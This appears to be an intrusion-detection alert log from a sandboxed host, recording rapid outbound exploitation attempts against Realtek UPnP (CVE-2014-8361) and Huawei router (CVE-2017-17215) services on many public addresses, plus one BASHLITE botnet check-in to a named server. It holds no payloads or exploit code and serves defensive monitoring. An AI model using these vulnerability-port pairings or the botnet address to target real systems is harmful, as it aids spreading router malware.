2024-12-04T20:35:00.230127+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	55812	41.9.114.218	52869	TCP
2024-12-04T20:35:00.230237+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	34282	197.252.2.42	52869	TCP
2024-12-04T20:35:00.855127+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38744	197.52.167.29	37215	TCP
2024-12-04T20:35:00.855346+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56966	156.144.78.212	37215	TCP
2024-12-04T20:35:01.496011+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	35434	156.14.52.238	52869	TCP
2024-12-04T20:35:01.976821+0100	2839490	ETPRO MALWARE ELF/BASHLITE Variant Reporting Arch Type (x86)	1	192.168.2.14	57346	179.43.154.140	420	TCP
2024-12-04T20:35:02.277282+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48552	41.58.47.240	37215	TCP
2024-12-04T20:35:02.448968+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	51178	156.38.80.18	52869	TCP
2024-12-04T20:35:02.480774+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	34214	197.225.187.90	52869	TCP
2024-12-04T20:35:02.693289+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48694	156.252.14.26	37215	TCP
2024-12-04T20:35:02.845142+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	37282	197.57.115.154	52869	TCP
2024-12-04T20:35:02.855311+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	38322	156.57.204.55	52869	TCP
2024-12-04T20:35:03.480702+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	41296	41.227.45.14	52869	TCP
2024-12-04T20:35:03.495881+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	38248	156.144.80.131	52869	TCP
2024-12-04T20:35:03.976420+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	40356	156.241.162.13	52869	TCP
2024-12-04T20:35:04.183457+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56396	156.192.76.36	37215	TCP
2024-12-04T20:35:04.311197+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36744	197.150.205.142	37215	TCP
2024-12-04T20:35:04.311281+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57858	197.234.105.12	37215	TCP
2024-12-04T20:35:04.324578+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45076	197.252.48.74	37215	TCP
2024-12-04T20:35:04.339729+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33222	156.220.14.170	37215	TCP
2024-12-04T20:35:04.511500+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	45594	197.124.112.162	52869	TCP
2024-12-04T20:35:05.668104+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	38928	156.128.213.48	52869	TCP
2024-12-04T20:35:05.684983+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	52762	41.242.233.85	52869	TCP
2024-12-04T20:35:05.685059+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	36646	197.42.126.107	52869	TCP
2024-12-04T20:35:05.685157+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	43074	41.80.9.17	52869	TCP
2024-12-04T20:35:05.685407+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	48916	156.108.206.135	52869	TCP
2024-12-04T20:35:05.685463+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	51194	41.58.74.103	52869	TCP
2024-12-04T20:35:05.685477+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	52092	41.248.145.172	52869	TCP
2024-12-04T20:35:05.808548+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	47366	197.145.135.188	52869	TCP
2024-12-04T20:35:05.808856+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	48534	41.217.138.49	52869	TCP
2024-12-04T20:35:06.527250+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	51538	41.135.143.86	52869	TCP
2024-12-04T20:35:06.527466+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	34988	156.201.159.17	52869	TCP
2024-12-04T20:35:06.527552+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	59386	41.248.173.78	52869	TCP
2024-12-04T20:35:06.527613+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	54682	156.125.216.186	52869	TCP
2024-12-04T20:35:06.527727+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	35712	41.136.228.87	52869	TCP
2024-12-04T20:35:06.538462+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	35638	197.66.208.240	52869	TCP
2024-12-04T20:35:06.558434+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37222	197.21.113.211	37215	TCP
2024-12-04T20:35:06.839894+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	59658	197.12.30.212	52869	TCP
2024-12-04T20:35:06.855626+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	43216	41.28.240.86	52869	TCP
2024-12-04T20:35:06.855793+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	60472	197.137.72.234	52869	TCP
2024-12-04T20:35:07.059015+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	45862	156.185.93.9	52869	TCP
2024-12-04T20:35:07.059089+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	58844	197.194.67.63	52869	TCP
2024-12-04T20:35:07.059980+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	39920	156.25.128.120	52869	TCP
2024-12-04T20:35:07.060147+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	43186	156.210.85.238	52869	TCP
2024-12-04T20:35:07.060713+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	55576	197.40.26.156	52869	TCP
2024-12-04T20:35:07.589668+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46614	156.1.54.61	37215	TCP
2024-12-04T20:35:07.637207+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46996	156.217.189.19	37215	TCP
2024-12-04T20:35:07.652159+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55650	41.209.126.36	37215	TCP
2024-12-04T20:35:08.058381+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	39152	41.184.229.131	52869	TCP
2024-12-04T20:35:08.310111+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	39074	41.195.158.255	52869	TCP
2024-12-04T20:35:08.886782+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	32854	197.65.163.60	37215	TCP
2024-12-04T20:35:09.123639+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	57452	41.232.57.31	52869	TCP
2024-12-04T20:35:09.152243+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41132	197.129.51.13	37215	TCP
2024-12-04T20:35:09.152513+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57538	197.230.202.242	37215	TCP
2024-12-04T20:35:09.152653+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53474	156.29.250.135	37215	TCP
2024-12-04T20:35:09.402216+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	46056	41.10.197.52	52869	TCP
2024-12-04T20:35:09.731946+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33170	41.73.216.161	37215	TCP
2024-12-04T20:35:09.732155+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33694	197.216.152.94	37215	TCP
2024-12-04T20:35:10.136605+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51990	156.106.40.215	37215	TCP
2024-12-04T20:35:10.886909+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54036	156.18.28.218	37215	TCP
2024-12-04T20:35:10.902403+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43638	41.247.75.14	37215	TCP
2024-12-04T20:35:11.153690+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38822	41.166.22.192	37215	TCP
2024-12-04T20:35:11.153857+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39858	41.9.221.217	37215	TCP
2024-12-04T20:35:11.154002+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55478	41.105.158.12	37215	TCP
2024-12-04T20:35:11.154217+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60902	156.95.204.71	37215	TCP
2024-12-04T20:35:11.167928+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41240	41.134.48.47	37215	TCP
2024-12-04T20:35:11.168115+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46794	197.250.112.205	37215	TCP
2024-12-04T20:35:11.230269+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37292	41.115.233.29	37215	TCP
2024-12-04T20:35:11.277358+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38586	156.195.236.32	37215	TCP
2024-12-04T20:35:11.355420+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	40840	156.14.110.123	52869	TCP
2024-12-04T20:35:11.355512+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	32812	156.127.239.138	52869	TCP
2024-12-04T20:35:11.446466+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	39544	156.253.13.204	52869	TCP
2024-12-04T20:35:12.542610+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	32894	156.133.84.44	37215	TCP
2024-12-04T20:35:12.542611+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36422	197.210.85.217	37215	TCP
2024-12-04T20:35:12.542681+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43486	156.194.20.240	37215	TCP
2024-12-04T20:35:12.542691+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45050	41.100.58.110	37215	TCP
2024-12-04T20:35:12.542850+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53156	197.129.70.232	37215	TCP
2024-12-04T20:35:12.543120+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51138	41.84.155.12	37215	TCP
2024-12-04T20:35:12.543340+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60000	197.148.114.51	37215	TCP
2024-12-04T20:35:12.543391+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52510	197.1.119.154	37215	TCP
2024-12-04T20:35:12.543399+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54488	156.168.134.30	37215	TCP
2024-12-04T20:35:12.543425+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40852	156.23.185.238	37215	TCP
2024-12-04T20:35:12.543428+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56546	197.114.69.0	37215	TCP
2024-12-04T20:35:12.543440+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45980	156.158.210.210	37215	TCP
2024-12-04T20:35:12.543449+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49508	156.224.241.35	37215	TCP
2024-12-04T20:35:12.543560+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39180	156.229.33.62	37215	TCP
2024-12-04T20:35:13.449185+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54102	197.180.136.166	37215	TCP
2024-12-04T20:35:13.558746+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53774	41.239.87.183	37215	TCP
2024-12-04T20:35:13.558844+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59112	197.220.2.4	37215	TCP
2024-12-04T20:35:14.339975+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48102	156.27.150.236	37215	TCP
2024-12-04T20:35:14.340053+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37552	41.19.11.27	37215	TCP
2024-12-04T20:35:15.527814+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	35770	41.135.95.103	52869	TCP
2024-12-04T20:35:15.527914+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	47850	41.246.105.206	52869	TCP
2024-12-04T20:35:15.714998+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59158	156.147.171.52	37215	TCP
2024-12-04T20:35:15.808636+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	50506	156.7.223.215	52869	TCP
2024-12-04T20:35:15.824314+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	59732	197.90.172.166	52869	TCP
2024-12-04T20:35:15.855458+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	58674	41.144.36.231	52869	TCP
2024-12-04T20:35:16.075414+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	60714	197.209.53.219	52869	TCP
2024-12-04T20:35:16.605519+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49452	156.116.253.53	37215	TCP
2024-12-04T20:35:16.637176+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38760	156.79.211.123	37215	TCP
2024-12-04T20:35:16.876226+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	37878	41.190.129.96	52869	TCP
2024-12-04T20:35:17.105722+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	50638	197.16.187.112	52869	TCP
2024-12-04T20:35:17.106001+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	32940	156.110.67.129	52869	TCP
2024-12-04T20:35:17.154133+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	48880	41.55.181.248	52869	TCP
2024-12-04T20:35:17.168007+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	46132	41.9.108.55	52869	TCP
2024-12-04T20:35:17.636831+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53246	156.226.173.86	37215	TCP
2024-12-04T20:35:17.637010+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43890	156.230.193.102	37215	TCP
2024-12-04T20:35:17.652592+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55702	41.94.162.230	37215	TCP
2024-12-04T20:35:17.652630+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54440	156.84.217.79	37215	TCP
2024-12-04T20:35:17.652765+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47814	41.79.123.173	37215	TCP
2024-12-04T20:35:17.652888+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54942	41.66.163.29	37215	TCP
2024-12-04T20:35:17.761781+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39686	197.43.141.226	37215	TCP
2024-12-04T20:35:17.761818+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59010	197.145.35.51	37215	TCP
2024-12-04T20:35:18.105623+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	38980	197.15.150.208	52869	TCP
2024-12-04T20:35:18.137821+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	50902	41.58.193.17	52869	TCP
2024-12-04T20:35:18.137968+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	35960	156.105.53.222	52869	TCP
2024-12-04T20:35:18.137999+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	58224	156.207.162.59	52869	TCP
2024-12-04T20:35:18.138000+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	40648	41.242.139.215	52869	TCP
2024-12-04T20:35:18.153500+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	34876	41.155.36.234	52869	TCP
2024-12-04T20:35:18.371038+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	55600	156.154.202.124	52869	TCP
2024-12-04T20:35:18.902754+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	32934	197.104.5.19	37215	TCP
2024-12-04T20:35:18.904106+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42888	41.25.128.95	37215	TCP
2024-12-04T20:35:19.168112+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58770	156.45.53.133	37215	TCP
2024-12-04T20:35:19.168180+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36636	197.188.53.123	37215	TCP
2024-12-04T20:35:19.168255+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35716	156.163.185.37	37215	TCP
2024-12-04T20:35:19.183893+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35284	156.106.189.20	37215	TCP
2024-12-04T20:35:19.184186+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34514	156.164.218.242	37215	TCP
2024-12-04T20:35:19.184209+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56354	156.190.47.77	37215	TCP
2024-12-04T20:35:19.215564+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48188	197.114.172.221	37215	TCP
2024-12-04T20:35:19.231119+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60242	156.54.194.190	37215	TCP
2024-12-04T20:35:19.903265+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57834	197.88.179.150	37215	TCP
2024-12-04T20:35:19.903305+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55042	41.142.142.175	37215	TCP
2024-12-04T20:35:19.933929+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46336	156.240.58.137	37215	TCP
2024-12-04T20:35:20.028726+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41866	197.116.244.68	37215	TCP
2024-12-04T20:35:20.137219+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37412	197.87.235.206	37215	TCP
2024-12-04T20:35:20.152621+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	38048	41.125.51.58	52869	TCP
2024-12-04T20:35:20.152666+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40196	41.87.180.242	37215	TCP
2024-12-04T20:35:21.152789+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38766	197.243.46.78	37215	TCP
2024-12-04T20:35:21.168119+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51466	41.197.101.51	37215	TCP
2024-12-04T20:35:21.168261+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33504	156.117.174.180	37215	TCP
2024-12-04T20:35:21.168337+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37546	41.14.94.73	37215	TCP
2024-12-04T20:35:21.168884+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39408	197.70.220.221	37215	TCP
2024-12-04T20:35:21.169122+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43368	41.88.233.253	37215	TCP
2024-12-04T20:35:21.184305+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37230	41.14.100.244	37215	TCP
2024-12-04T20:35:21.184639+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43132	156.76.51.139	37215	TCP
2024-12-04T20:35:21.184651+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38624	41.248.158.152	37215	TCP
2024-12-04T20:35:21.184766+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60512	197.248.190.192	37215	TCP
2024-12-04T20:35:21.184906+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55316	197.66.230.146	37215	TCP
2024-12-04T20:35:21.551259+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	54450	41.83.53.83	52869	TCP
2024-12-04T20:35:21.902766+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47268	197.207.158.48	37215	TCP
2024-12-04T20:35:21.902793+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49978	156.163.181.74	37215	TCP
2024-12-04T20:35:21.902846+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42400	156.147.180.29	37215	TCP
2024-12-04T20:35:21.918221+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57588	41.122.41.2	37215	TCP
2024-12-04T20:35:21.918341+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60590	197.7.248.168	37215	TCP
2024-12-04T20:35:21.933771+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49888	41.93.164.185	37215	TCP
2024-12-04T20:35:21.933863+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36358	197.72.196.248	37215	TCP
2024-12-04T20:35:21.933966+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40772	197.173.64.197	37215	TCP
